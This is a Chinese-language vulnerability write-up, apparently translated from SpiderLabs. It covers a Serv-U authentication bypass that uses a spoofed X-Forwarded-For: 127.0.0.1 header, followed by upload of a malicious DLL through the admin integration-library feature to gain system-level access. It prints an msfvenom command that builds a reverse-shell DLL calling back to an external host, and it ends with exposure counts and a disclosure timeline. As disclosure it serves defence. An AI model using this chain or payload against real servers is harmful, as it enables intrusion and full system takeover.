最近,我在做一个外网渗透测试的过程中,发现了SolarWinds文件共享程序Serv-U的一个漏洞,通过该漏洞我获得了Serv-U的管理权限,并能以系统用户身份执行远程代码,成功完成操作系统提权。
在此,我在Win7虚拟机中安装Serv-U程序,对该漏洞作出验证。
前期发现
Serv-U安装之后,不需要进行任何配置,其默认的Web服务端口为127.0.0.1,由于是本地服务器地址,即使提供外部服务也不需要更改此IP。
基于这个Web服务端,我利用Burp Suite的Spider功能来发现了其/?Command=Login请求点可能存在问题,之后,继续利用Burp Suite的Scanner功能,用包含X-Forwarded-For头的POST请求对该点发起fuzz攻击,来观察其响应结果。没过一会,通过对这些响应信息的手工验证后发现,当提交的登录请求中包含了X-Forwarded-For头为127.0.0.1的POST请求信息时,Serv-U程序将以本地管理员身份响应一个有效的Session会话。
虽然该POST请求通过Firefox浏览器会产生一个如下的错误提示:
但其本地管理员身份的Session会话却是有效的,利用该Cookie构造GET请求:
可以顺利以管理员身份登录Serv-U管理后台:
进一步利用
经过一番研究发现,攻击者可以利用http://127.0.0.1:43958/Admin/ServerLimits.htm页面下的集成库文件导入功能(intergration library),上传并执行任意DLL文件:
这里,我用msfvenom来制作免杀的恶意DLL文件MFC100PWN.dll,如下:
root@6c656f:~# msfvenom -p windows/x64/powershell_reverse_tcp LHOST=192.168.1.101 LPORT=8443 -f dll > MFC100PWN.dllNo platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 1810 bytes Final size of dll file: 5120 bytes root@6c656f:~# file MFC100PWN.dllMFC100PWN.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
该DLL文件将会向192.168.1.101:8443执行反弹连接,所以,这里用Metasploit开启一个监听端listener。
操作系统提权
把MFC100PWN.dll文件通过Serv-u web client上传至 目录”C:\Program Files\RhinoSoft\Serv-U”:
执行该DLL文件:
不出意外,通过该DLL文件的反弹shell,我们获得了Serv-u所在系统的管理员权限。
漏洞影响
至2017年1月30日,通过Shodan查询,可以发现全球联网的,安装有类似Serv-U服务的15,000多台服务器都面临此漏洞威胁,而据我们研究发现,Serv-U在15.1.5之前的所有版本都受此漏洞影响。(具体漏洞信息参考此声明)
Server: Serv-U/ product:”Rhinosoft Serv-U httpd”
漏洞报告进程
01/13/2017 – 向SolarWind披露漏洞
02/17/2017 – SolarWind发布补丁
03/22/2017 – 公开漏洞
*参考来源:SpiderLabs,freebuf小编clouds编译,转载请注明来自Freebuf.com。
-
扫码下载安卓APP
-
微信扫一扫关注我们
微信扫一扫打开小程序
手Q扫一扫打开小程序
-
返回顶部
发表评论